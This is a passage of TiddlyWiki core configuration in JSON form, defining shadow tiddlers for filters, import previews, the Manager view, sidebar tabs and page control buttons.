        "$:/core/Filters/AllTiddlers": {
            "title": "$:/core/Filters/AllTiddlers",
            "tags": "$:/tags/Filter",
            "filter": "[!is[system]sort[title]]",
            "description": "{{$:/language/Filters/AllTiddlers}}",
            "text": ""
        },
        "$:/core/Filters/Drafts": {
            "title": "$:/core/Filters/Drafts",
            "tags": "$:/tags/Filter",
            "filter": "[has[draft.of]sort[title]]",
            "description": "{{$:/language/Filters/Drafts}}",
            "text": ""
        },
        "$:/core/Filters/Missing": {
            "title": "$:/core/Filters/Missing",
            "tags": "$:/tags/Filter",
            "filter": "[all[missing]sort[title]]",
            "description": "{{$:/language/Filters/Missing}}",
            "text": ""
        },
        "$:/core/Filters/Orphans": {
            "title": "$:/core/Filters/Orphans",
            "tags": "$:/tags/Filter",
            "filter": "[all[orphans]sort[title]]",
            "description": "{{$:/language/Filters/Orphans}}",
            "text": ""
        },
        "$:/core/Filters/OverriddenShadowTiddlers": {
            "title": "$:/core/Filters/OverriddenShadowTiddlers",
            "tags": "$:/tags/Filter",
            "filter": "[is[shadow]]",
            "description": "{{$:/language/Filters/OverriddenShadowTiddlers}}",
            "text": ""
        },
        "$:/core/Filters/RecentSystemTiddlers": {
            "title": "$:/core/Filters/RecentSystemTiddlers",
            "tags": "$:/tags/Filter",
            "filter": "[has[modified]!sort[modified]limit[50]]",
            "description": "{{$:/language/Filters/RecentSystemTiddlers}}",
            "text": ""
        },
        "$:/core/Filters/RecentTiddlers": {
            "title": "$:/core/Filters/RecentTiddlers",
            "tags": "$:/tags/Filter",
            "filter": "[!is[system]has[modified]!sort[modified]limit[50]]",
            "description": "{{$:/language/Filters/RecentTiddlers}}",
            "text": ""
        },
        "$:/core/Filters/ShadowTiddlers": {
            "title": "$:/core/Filters/ShadowTiddlers",
            "tags": "$:/tags/Filter",
            "filter": "[all[shadows]sort[title]]",
            "description": "{{$:/language/Filters/ShadowTiddlers}}",
            "text": ""
        },
        "$:/core/Filters/StoryList": {
            "title": "$:/core/Filters/StoryList",
            "tags": "$:/tags/Filter",
            "filter": "[list[$:/StoryList]] -$:/AdvancedSearch",
            "description": "{{$:/language/Filters/StoryList}}",
            "text": ""
        },
        "$:/core/Filters/SystemTags": {
            "title": "$:/core/Filters/SystemTags",
            "tags": "$:/tags/Filter",
            "filter": "[all[shadows+tiddlers]tags[]is[system]sort[title]]",
            "description": "{{$:/language/Filters/SystemTags}}",
            "text": ""
        },
        "$:/core/Filters/SystemTiddlers": {
            "title": "$:/core/Filters/SystemTiddlers",
            "tags": "$:/tags/Filter",
            "filter": "[is[system]sort[title]]",
            "description": "{{$:/language/Filters/SystemTiddlers}}",
            "text": ""
        },
        "$:/core/Filters/TypedTiddlers": {
            "title": "$:/core/Filters/TypedTiddlers",
            "tags": "$:/tags/Filter",
            "filter": "[!is[system]has[type]each[type]sort[type]] -[type[text/vnd.tiddlywiki]]",
            "description": "{{$:/language/Filters/TypedTiddlers}}",
            "text": ""
        },
        "$:/core/ui/ImportListing": {
            "title": "$:/core/ui/ImportListing",
            "text": "\\define lingo-base() $:/language/Import/\n\n\\define messageField()\nmessage-$(payloadTiddler)$\n\\end\n\n\\define selectionField()\nselection-$(payloadTiddler)$\n\\end\n\n\\define previewPopupState()\n$(currentTiddler)$!!popup-$(payloadTiddler)$\n\\end\n\n\\define select-all-actions()\n<$list filter=\"[all[current]plugintiddlers[]sort[title]]\" variable=\"payloadTiddler\">\n<$action-setfield $field={{{ [<payloadTiddler>addprefix[selection-]] }}} $value={{$:/state/import/select-all}}/>\n</$list>\n\\end\n\n<table>\n<tbody>\n<tr>\n<th>\n<$checkbox tiddler=\"$:/state/import/select-all\" field=\"text\" checked=\"checked\" unchecked=\"unchecked\" default=\"checked\" actions=<<select-all-actions>>>\n<<lingo Listing/Select/Caption>>\n</$checkbox>\n</th>\n<th>\n<<lingo Listing/Title/Caption>>\n</th>\n<th>\n<<lingo Listing/Status/Caption>>\n</th>\n</tr>\n<$list filter=\"[all[current]plugintiddlers[]sort[title]]\" variable=\"payloadTiddler\">\n<tr>\n<td>\n<$checkbox field=<<selectionField>> checked=\"checked\" unchecked=\"unchecked\" default=\"checked\"/>\n</td>\n<td>\n<$reveal type=\"nomatch\" stateTitle=<<previewPopupState>> text=\"yes\" tag=\"div\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" setTitle=<<previewPopupState>> setTo=\"yes\">\n{{$:/core/images/right-arrow}}&nbsp;<$text text=<<payloadTiddler>>/>\n</$button>\n</$reveal>\n<$reveal type=\"match\" stateTitle=<<previewPopupState>> text=\"yes\" tag=\"div\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" setTitle=<<previewPopupState>> setTo=\"no\">\n{{$:/core/images/down-arrow}}&nbsp;<$text text=<<payloadTiddler>>/>\n</$button>\n</$reveal>\n</td>\n<td>\n<$view field=<<messageField>>/>\n</td>\n</tr>\n<tr>\n<td colspan=\"3\">\n<$reveal type=\"match\" text=\"yes\" stateTitle=<<previewPopupState>> tag=\"div\">\n<$list filter=\"[{$:/state/importpreviewtype}has[text]]\" variable=\"listItem\" emptyMessage={{$:/core/ui/ImportPreviews/Text}}>\n<$transclude tiddler={{$:/state/importpreviewtype}}/>\n</$list>\n</$reveal>\n</td>\n</tr>\n</$list>\n</tbody>\n</table>\n"
        },
        "$:/core/ui/ImportPreviews/Diff": {
            "title": "$:/core/ui/ImportPreviews/Diff",
            "tags": "$:/tags/ImportPreview",
            "caption": "{{$:/language/Import/Listing/Preview/Diff}}",
            "text": "<$macrocall $name=\"compareTiddlerText\" sourceTiddlerTitle=<<payloadTiddler>> destTiddlerTitle=<<currentTiddler>> destSubTiddlerTitle=<<payloadTiddler>>/>\n"
        },
        "$:/core/ui/ImportPreviews/DiffFields": {
            "title": "$:/core/ui/ImportPreviews/DiffFields",
            "tags": "$:/tags/ImportPreview",
            "caption": "{{$:/language/Import/Listing/Preview/DiffFields}}",
            "text": "<$macrocall $name=\"compareTiddlers\" sourceTiddlerTitle=<<payloadTiddler>> destTiddlerTitle=<<currentTiddler>> destSubTiddlerTitle=<<payloadTiddler>> exclude=\"text\"/>\n"
        },
        "$:/core/ui/ImportPreviews/Fields": {
            "title": "$:/core/ui/ImportPreviews/Fields",
            "tags": "$:/tags/ImportPreview",
            "caption": "{{$:/language/Import/Listing/Preview/Fields}}",
            "text": "<table class=\"tc-view-field-table\">\n<tbody>\n<$list filter=\"[<payloadTiddler>subtiddlerfields<currentTiddler>sort[]] -text\" variable=\"fieldName\">\n<tr class=\"tc-view-field\">\n<td class=\"tc-view-field-name\">\n<$text text=<<fieldName>>/>\n</td>\n<td class=\"tc-view-field-value\">\n<$view field=<<fieldName>> tiddler=<<currentTiddler>> subtiddler=<<payloadTiddler>>/>\n</td>\n</tr>\n</$list>\n</tbody>\n</table>\n"
        },
        "$:/core/ui/ImportPreviews/Text": {
            "title": "$:/core/ui/ImportPreviews/Text",
            "tags": "$:/tags/ImportPreview",
            "caption": "{{$:/language/Import/Listing/Preview/Text}}",
            "text": "<$transclude tiddler=<<currentTiddler>> subtiddler=<<payloadTiddler>> mode=\"block\"/>\n"
        },
        "$:/core/ui/ImportPreviews/TextRaw": {
            "title": "$:/core/ui/ImportPreviews/TextRaw",
            "tags": "$:/tags/ImportPreview",
            "caption": "{{$:/language/Import/Listing/Preview/TextRaw}}",
            "text": "<pre><code><$view tiddler=<<currentTiddler>> subtiddler=<<payloadTiddler>> /></code></pre>"
        },
        "$:/core/ui/KeyboardShortcuts/new-image": {
            "title": "$:/core/ui/KeyboardShortcuts/new-image",
            "tags": "$:/tags/KeyboardShortcut",
            "key": "((new-image))",
            "text": "<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\" openLinkFromInsideRiver={{$:/config/Navigation/openLinkFromInsideRiver}} openLinkFromOutsideRiver={{$:/config/Navigation/openLinkFromOutsideRiver}} relinkOnRename={{$:/config/RelinkOnRename}}>\n{{$:/core/ui/Actions/new-image}}\n</$navigator>\n"
        },
        "$:/core/ui/KeyboardShortcuts/new-journal": {
            "title": "$:/core/ui/KeyboardShortcuts/new-journal",
            "tags": "$:/tags/KeyboardShortcut",
            "key": "((new-journal))",
            "text": "<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\" openLinkFromInsideRiver={{$:/config/Navigation/openLinkFromInsideRiver}} openLinkFromOutsideRiver={{$:/config/Navigation/openLinkFromOutsideRiver}} relinkOnRename={{$:/config/RelinkOnRename}}>\n{{$:/core/ui/Actions/new-journal}}\n</$navigator>\n"
        },
        "$:/core/ui/KeyboardShortcuts/new-tiddler": {
            "title": "$:/core/ui/KeyboardShortcuts/new-tiddler",
            "tags": "$:/tags/KeyboardShortcut",
            "key": "((new-tiddler))",
            "text": "<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\" openLinkFromInsideRiver={{$:/config/Navigation/openLinkFromInsideRiver}} openLinkFromOutsideRiver={{$:/config/Navigation/openLinkFromOutsideRiver}} relinkOnRename={{$:/config/RelinkOnRename}}>\n{{$:/core/ui/Actions/new-tiddler}}\n</$navigator>\n"
        },
        "$:/core/ui/ListItemTemplate": {
            "title": "$:/core/ui/ListItemTemplate",
            "text": "<div class=\"tc-menu-list-item\">\n<$link to={{!!title}}>\n<$view field=\"title\"/>\n</$link>\n</div>"
        },
        "$:/Manager/ItemMain/Fields": {
            "title": "$:/Manager/ItemMain/Fields",
            "tags": "$:/tags/Manager/ItemMain",
            "caption": "{{$:/language/Manager/Item/Fields}}",
            "text": "<table>\n<tbody>\n<$list filter=\"[all[current]fields[]sort[title]] -text\" template=\"$:/core/ui/TiddlerFieldTemplate\" variable=\"listItem\"/>\n</tbody>\n</table>\n"
        },
        "$:/Manager/ItemMain/RawText": {
            "title": "$:/Manager/ItemMain/RawText",
            "tags": "$:/tags/Manager/ItemMain",
            "caption": "{{$:/language/Manager/Item/RawText}}",
            "text": "<pre><code><$view/></code></pre>\n"
        },
        "$:/Manager/ItemMain/WikifiedText": {
            "title": "$:/Manager/ItemMain/WikifiedText",
            "tags": "$:/tags/Manager/ItemMain",
            "caption": "{{$:/language/Manager/Item/WikifiedText}}",
            "text": "<$transclude mode=\"block\"/>\n"
        },
        "$:/Manager/ItemSidebar/Colour": {
            "title": "$:/Manager/ItemSidebar/Colour",
            "tags": "$:/tags/Manager/ItemSidebar",
            "caption": "{{$:/language/Manager/Item/Colour}}",
            "text": "\\define swatch-styles()\nheight: 1em;\nbackground-color: $(colour)$\n\\end\n\n<$vars colour={{!!color}}>\n<p style=<<swatch-styles>>/>\n</$vars>\n<p>\n<$edit-text field=\"color\" tag=\"input\" type=\"color\"/> / <$edit-text field=\"color\" tag=\"input\" type=\"text\" size=\"9\"/>\n</p>\n"
        },
        "$:/Manager/ItemSidebar/Icon": {
            "title": "$:/Manager/ItemSidebar/Icon",
            "tags": "$:/tags/Manager/ItemSidebar",
            "caption": "{{$:/language/Manager/Item/Icon}}",
            "text": "<p>\n<div class=\"tc-manager-icon-editor\">\n<$button popup=<<qualify \"$:/state/popup/image-picker\">> class=\"tc-btn-invisible\">\n<$transclude tiddler={{!!icon}}>\n{{$:/language/Manager/Item/Icon/None}}\n</$transclude>\n</$button>\n<div class=\"tc-block-dropdown-wrapper\" style=\"position: static;\">\n<$reveal state=<<qualify \"$:/state/popup/image-picker\">> type=\"nomatch\" text=\"\" default=\"\" tag=\"div\" class=\"tc-popup\">\n<div class=\"tc-block-dropdown tc-popup-keep\" style=\"width: 80%; left: 10%; right: 10%; padding: 0.5em;\">\n<$macrocall $name=\"image-picker-include-tagged-images\" actions=\"\"\"\n<$action-setfield $field=\"icon\" $value=<<imageTitle>>/>\n<$action-deletetiddler $tiddler=<<qualify \"$:/state/popup/image-picker\">>/>\n\"\"\"/>\n</div>\n</$reveal>\n</div>\n</div>\n</p>\n"
        },
        "$:/Manager/ItemSidebar/Tags": {
            "title": "$:/Manager/ItemSidebar/Tags",
            "tags": "$:/tags/Manager/ItemSidebar",
            "caption": "{{$:/language/Manager/Item/Tags}}",
            "text": "\\define tag-checkbox-actions()\n<$action-listops\n\t$tiddler=\"$:/config/Manager/RecentTags\"\n\t$subfilter=\"[<tag>] [list[$:/config/Manager/RecentTags]] +[limit[12]]\"\n/>\n\\end\n\n\\define tag-picker-actions()\n<<tag-checkbox-actions>>\n<$action-listops\n\t$tiddler=<<currentTiddler>>\n\t$field=\"tags\"\n\t$subfilter=\"[<tag>] [all[current]tags[]]\"\n/>\n\\end\n\n<p>\n<$list filter=\"[all[current]tags[]] [list[$:/config/Manager/RecentTags]] +[sort[title]] \" variable=\"tag\">\n<div>\n<$checkbox tiddler=<<currentTiddler>> tag=<<tag>> actions=<<tag-checkbox-actions>>>\n<$macrocall $name=\"tag-pill\" tag=<<tag>>/>\n</$checkbox>\n</div>\n</$list>\n</p>\n<p>\n<$macrocall $name=\"tag-picker\" actions=<<tag-picker-actions>>/>\n</p>\n"
        },
        "$:/Manager/ItemSidebar/Tools": {
            "title": "$:/Manager/ItemSidebar/Tools",
            "tags": "$:/tags/Manager/ItemSidebar",
            "caption": "{{$:/language/Manager/Item/Tools}}",
            "text": "<p>\n<$button to=<<currentTiddler>>>{{$:/core/images/link}} open</$button>\n</p>\n<p>\n<$button message=\"tm-edit-tiddler\" param=<<currentTiddler>>>{{$:/core/images/edit-button}} edit</$button>\n</p>\n"
        },
        "$:/Manager": {
            "title": "$:/Manager",
            "icon": "$:/core/images/list",
            "color": "#bbb",
            "text": "\\define lingo-base() $:/language/Manager/\n\n\\define list-item-content-item()\n<div class=\"tc-manager-list-item-content-item\">\n\t<$vars state-title=\"\"\"$:/state/popup/manager/item/$(listItem)$\"\"\">\n\t\t<$reveal state=<<state-title>> type=\"match\" text=\"show\" default=\"show\" tag=\"div\">\n\t\t\t<$button set=<<state-title>> setTo=\"hide\" class=\"tc-btn-invisible tc-manager-list-item-content-item-heading\">\n\t\t\t\t{{$:/core/images/down-arrow}} <$transclude tiddler=<<listItem>> field=\"caption\"/>\n\t\t\t</$button>\n\t\t</$reveal>\n\t\t<$reveal state=<<state-title>> type=\"nomatch\" text=\"show\" default=\"show\" tag=\"div\">\n\t\t\t<$button set=<<state-title>> setTo=\"show\" class=\"tc-btn-invisible tc-manager-list-item-content-item-heading\">\n\t\t\t\t{{$:/core/images/right-arrow}} <$transclude tiddler=<<listItem>> field=\"caption\"/>\n\t\t\t</$button>\n\t\t</$reveal>\n\t\t<$reveal state=<<state-title>> type=\"match\" text=\"show\" default=\"show\" tag=\"div\" class=\"tc-manager-list-item-content-item-body\">\n\t\t\t<$transclude tiddler=<<listItem>>/>\n\t\t</$reveal>\n\t</$vars>\n</div>\n\\end\n\n<div class=\"tc-manager-wrapper\">\n\t<div class=\"tc-manager-controls\">\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<<lingo Controls/Show/Prompt>> <$select tiddler=\"$:/config/Manager/Show\" default=\"tiddlers\">\n\t\t\t\t<option value=\"tiddlers\"><<lingo Controls/Show/Option/Tiddlers>></option>\n\t\t\t\t<option value=\"tags\"><<lingo Controls/Show/Option/Tags>></option>\n\t\t\t</$select>\n\t\t</div>\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<<lingo Controls/Search/Prompt>> <$edit-text tiddler=\"$:/config/Manager/Filter\" tag=\"input\" default=\"\" placeholder={{$:/language/Manager/Controls/Search/Placeholder}}/>\n\t\t</div>\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<<lingo Controls/FilterByTag/Prompt>> <$select tiddler=\"$:/config/Manager/Tag\" default=\"\">\n\t\t\t\t<option value=\"\"><<lingo Controls/FilterByTag/None>></option>\n\t\t\t\t<$list filter=\"[!is{$:/config/Manager/System}tags[]!is[system]sort[title]]\" variable=\"tag\">\n\t\t\t\t\t<option value=<<tag>>><$text text=<<tag>>/></option>\n\t\t\t\t</$list>\n\t\t\t</$select>\n\t\t</div>\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<<lingo Controls/Sort/Prompt>> <$select tiddler=\"$:/config/Manager/Sort\" default=\"title\">\n\t\t\t\t<optgroup label=\"Common\">\n\t\t\t\t\t<$list filter=\"title modified modifier created creator created\" variable=\"field\">\n\t\t\t\t\t\t<option value=<<field>>><$text text=<<field>>/></option>\n\t\t\t\t\t</$list>\n\t\t\t\t</optgroup>\n\t\t\t\t<optgroup label=\"All\">\n\t\t\t\t\t<$list filter=\"[all{$:/config/Manager/Show}!is{$:/config/Manager/System}fields[]sort[title]] -title -modified -modifier -created -creator -created\" variable=\"field\">\n\t\t\t\t\t\t<option value=<<field>>><$text text=<<field>>/></option>\n\t\t\t\t\t</$list>\n\t\t\t\t</optgroup>\n\t\t\t</$select>\n\t\t\t<$checkbox tiddler=\"$:/config/Manager/Order\" field=\"text\" checked=\"reverse\" unchecked=\"forward\" default=\"forward\">\n\t\t\t\t<<lingo Controls/Order/Prompt>>\n\t\t\t</$checkbox>\n\t\t</div>\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<$checkbox tiddler=\"$:/config/Manager/System\" field=\"text\" checked=\"\" unchecked=\"system\" default=\"system\">\n\t\t\t\t{{$:/language/SystemTiddlers/Include/Prompt}}\n\t\t\t</$checkbox>\n\t\t</div>\n\t</div>\n\t<div class=\"tc-manager-list\">\n\t\t<$list filter=\"[all{$:/config/Manager/Show}!is{$:/config/Manager/System}search{$:/config/Manager/Filter}tag:strict{$:/config/Manager/Tag}sort{$:/config/Manager/Sort}order{$:/config/Manager/Order}]\">\n\t\t\t<$vars transclusion=<<currentTiddler>>>\n\t\t\t\t<div style=\"tc-manager-list-item\">\n\t\t\t\t\t<$button popup=<<qualify \"$:/state/manager/popup\">> class=\"tc-btn-invisible tc-manager-list-item-heading\" selectedClass=\"tc-manager-list-item-heading-selected\">\n\t\t\t\t\t\t<$text text=<<currentTiddler>>/>\n\t\t\t\t\t</$button>\n\t\t\t\t\t<$reveal state=<<qualify \"$:/state/manager/popup\">> type=\"nomatch\" text=\"\" default=\"\" tag=\"div\" class=\"tc-manager-list-item-content tc-popup-handle\">\n\t\t\t\t\t\t<div class=\"tc-manager-list-item-content-tiddler\">\n\t\t\t\t\t\t\t<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Manager/ItemMain]!has[draft.of]]\" variable=\"listItem\">\n\t\t\t\t\t\t\t\t<<list-item-content-item>>\n\t\t\t\t\t\t\t</$list>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"tc-manager-list-item-content-sidebar\">\n\t\t\t\t\t\t\t<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Manager/ItemSidebar]!has[draft.of]]\" variable=\"listItem\">\n\t\t\t\t\t\t\t\t<<list-item-content-item>>\n\t\t\t\t\t\t\t</$list>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</$reveal>\n\t\t\t\t</div>\n\t\t\t</$vars>\n\t\t</$list>\n\t</div>\n</div>\n"
        },
        "$:/core/ui/MissingTemplate": {
            "title": "$:/core/ui/MissingTemplate",
            "text": "<div class=\"tc-tiddler-missing\">\n<$button popup=<<qualify \"$:/state/popup/missing\">> class=\"tc-btn-invisible tc-missing-tiddler-label\">\n<$view field=\"title\" format=\"text\" />\n</$button>\n<$reveal state=<<qualify \"$:/state/popup/missing\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n<$transclude tiddler=\"$:/core/ui/ListItemTemplate\"/>\n<hr>\n<$list filter=\"[all[current]backlinks[]sort[title]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n</div>\n</$reveal>\n</div>\n"
        },
        "$:/core/ui/MoreSideBar/All": {
            "title": "$:/core/ui/MoreSideBar/All",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/All/Caption}}",
            "text": "<$list filter={{$:/core/Filters/AllTiddlers!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
        },
        "$:/core/ui/MoreSideBar/Drafts": {
            "title": "$:/core/ui/MoreSideBar/Drafts",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/Drafts/Caption}}",
            "text": "<$list filter={{$:/core/Filters/Drafts!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
        },
        "$:/core/ui/MoreSideBar/Explorer": {
            "title": "$:/core/ui/MoreSideBar/Explorer",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/Explorer/Caption}}",
            "text": "<<tree \"$:/\">>\n"
        },
        "$:/core/ui/MoreSideBar/Missing": {
            "title": "$:/core/ui/MoreSideBar/Missing",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/Missing/Caption}}",
            "text": "<$list filter={{$:/core/Filters/Missing!!filter}} template=\"$:/core/ui/MissingTemplate\"/>\n"
        },
        "$:/core/ui/MoreSideBar/Orphans": {
            "title": "$:/core/ui/MoreSideBar/Orphans",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/Orphans/Caption}}",
            "text": "<$list filter={{$:/core/Filters/Orphans!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
        },
        "$:/core/ui/MoreSideBar/Plugins": {
            "title": "$:/core/ui/MoreSideBar/Plugins",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/ControlPanel/Plugins/Caption}}",
            "text": "\n{{$:/language/ControlPanel/Plugins/Installed/Hint}}\n\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/MoreSideBar/Plugins]!has[draft.of]]\" \"$:/core/ui/MoreSideBar/Plugins/Plugins\">>\n"
        },
        "$:/core/ui/MoreSideBar/Recent": {
            "title": "$:/core/ui/MoreSideBar/Recent",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/Recent/Caption}}",
            "text": "<$macrocall $name=\"timeline\" format={{$:/language/RecentChanges/DateFormat}}/>\n"
        },
        "$:/core/ui/MoreSideBar/Shadows": {
            "title": "$:/core/ui/MoreSideBar/Shadows",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/Shadows/Caption}}",
            "text": "<$list filter={{$:/core/Filters/ShadowTiddlers!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
        },
        "$:/core/ui/MoreSideBar/System": {
            "title": "$:/core/ui/MoreSideBar/System",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/System/Caption}}",
            "text": "<$list filter={{$:/core/Filters/SystemTiddlers!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
        },
        "$:/core/ui/MoreSideBar/Tags": {
            "title": "$:/core/ui/MoreSideBar/Tags",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/Tags/Caption}}",
            "text": "<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"\">\n\n{{$:/core/ui/Buttons/tag-manager}}\n\n</$set>\n\n</$set>\n\n</$set>\n\n<$list filter={{$:/core/Filters/AllTags!!filter}}>\n\n<$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\n\n</$list>\n\n<hr class=\"tc-untagged-separator\">\n\n{{$:/core/ui/UntaggedTemplate}}\n"
        },
        "$:/core/ui/MoreSideBar/Types": {
            "title": "$:/core/ui/MoreSideBar/Types",
            "tags": "$:/tags/MoreSideBar",
            "caption": "{{$:/language/SideBar/Types/Caption}}",
            "text": "<$list filter={{$:/core/Filters/TypedTiddlers!!filter}}>\n<div class=\"tc-menu-list-item\">\n<$view field=\"type\"/>\n<$list filter=\"[type{!!type}!is[system]sort[title]]\">\n<div class=\"tc-menu-list-subitem\">\n<$link to={{!!title}}><$view field=\"title\"/></$link>\n</div>\n</$list>\n</div>\n</$list>\n"
        },
        "$:/core/ui/MoreSideBar/Plugins/Languages": {
            "title": "$:/core/ui/MoreSideBar/Plugins/Languages",
            "tags": "$:/tags/MoreSideBar/Plugins",
            "caption": "{{$:/language/ControlPanel/Plugins/Languages/Caption}}",
            "text": "<$list filter=\"[!has[draft.of]plugin-type[language]sort[description]]\" template=\"$:/core/ui/PluginListItemTemplate\" emptyMessage={{$:/language/ControlPanel/Plugins/Empty/Hint}}/>\n"
        },
        "$:/core/ui/MoreSideBar/Plugins/Plugins": {
            "title": "$:/core/ui/MoreSideBar/Plugins/Plugins",
            "tags": "$:/tags/MoreSideBar/Plugins",
            "caption": "{{$:/language/ControlPanel/Plugins/Plugins/Caption}}",
            "text": "<$list filter=\"[!has[draft.of]plugin-type[plugin]sort[description]]\" template=\"$:/core/ui/PluginListItemTemplate\" emptyMessage={{$:/language/ControlPanel/Plugins/Empty/Hint}}>>/>\n"
        },
        "$:/core/ui/MoreSideBar/Plugins/Theme": {
            "title": "$:/core/ui/MoreSideBar/Plugins/Theme",
            "tags": "$:/tags/MoreSideBar/Plugins",
            "caption": "{{$:/language/ControlPanel/Plugins/Themes/Caption}}",
            "text": "<$list filter=\"[!has[draft.of]plugin-type[theme]sort[description]]\" template=\"$:/core/ui/PluginListItemTemplate\" emptyMessage={{$:/language/ControlPanel/Plugins/Empty/Hint}}/>\n"
        },
        "$:/core/ui/Buttons/advanced-search": {
            "title": "$:/core/ui/Buttons/advanced-search",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/advanced-search-button}} {{$:/language/Buttons/AdvancedSearch/Caption}}",
            "description": "{{$:/language/Buttons/AdvancedSearch/Hint}}",
            "text": "\\define control-panel-button(class)\n<$button to=\"$:/AdvancedSearch\" tooltip={{$:/language/Buttons/AdvancedSearch/Hint}} aria-label={{$:/language/Buttons/AdvancedSearch/Caption}} class=\"\"\"$(tv-config-toolbar-class)$ $class$\"\"\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/advanced-search-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/AdvancedSearch/Caption}}/></span>\n</$list>\n</$button>\n\\end\n\n<$list filter=\"[list[$:/StoryList]] +[field:title[$:/AdvancedSearch]]\" emptyMessage=<<control-panel-button>>>\n<<control-panel-button \"tc-selected\">>\n</$list>\n"
        },
        "$:/core/ui/Buttons/close-all": {
            "title": "$:/core/ui/Buttons/close-all",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/close-all-button}} {{$:/language/Buttons/CloseAll/Caption}}",
            "description": "{{$:/language/Buttons/CloseAll/Hint}}",
            "text": "<$button message=\"tm-close-all-tiddlers\" tooltip={{$:/language/Buttons/CloseAll/Hint}} aria-label={{$:/language/Buttons/CloseAll/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/close-all-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/CloseAll/Caption}}/></span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/control-panel": {
            "title": "$:/core/ui/Buttons/control-panel",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/options-button}} {{$:/language/Buttons/ControlPanel/Caption}}",
            "description": "{{$:/language/Buttons/ControlPanel/Hint}}",
            "text": "\\define control-panel-button(class)\n<$button to=\"$:/ControlPanel\" tooltip={{$:/language/Buttons/ControlPanel/Hint}} aria-label={{$:/language/Buttons/ControlPanel/Caption}} class=\"\"\"$(tv-config-toolbar-class)$ $class$\"\"\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/options-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/ControlPanel/Caption}}/></span>\n</$list>\n</$button>\n\\end\n\n<$list filter=\"[list[$:/StoryList]] +[field:title[$:/ControlPanel]]\" emptyMessage=<<control-panel-button>>>\n<<control-panel-button \"tc-selected\">>\n</$list>\n"
        },
        "$:/core/ui/Buttons/encryption": {
            "title": "$:/core/ui/Buttons/encryption",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/locked-padlock}} {{$:/language/Buttons/Encryption/Caption}}",
            "description": "{{$:/language/Buttons/Encryption/Hint}}",
            "text": "<$reveal type=\"match\" state=\"$:/isEncrypted\" text=\"yes\">\n<$button message=\"tm-clear-password\" tooltip={{$:/language/Buttons/Encryption/ClearPassword/Hint}} aria-label={{$:/language/Buttons/Encryption/ClearPassword/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/locked-padlock}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Encryption/ClearPassword/Caption}}/></span>\n</$list>\n</$button>\n</$reveal>\n<$reveal type=\"nomatch\" state=\"$:/isEncrypted\" text=\"yes\">\n<$button message=\"tm-set-password\" tooltip={{$:/language/Buttons/Encryption/SetPassword/Hint}} aria-label={{$:/language/Buttons/Encryption/SetPassword/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/unlocked-padlock}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Encryption/SetPassword/Caption}}/></span>\n</$list>\n</$button>\n</$reveal>"
        },
        "$:/core/ui/Buttons/export-page": {
            "title": "$:/core/ui/Buttons/export-page",
            "tags": "$:/tags/PageControls",
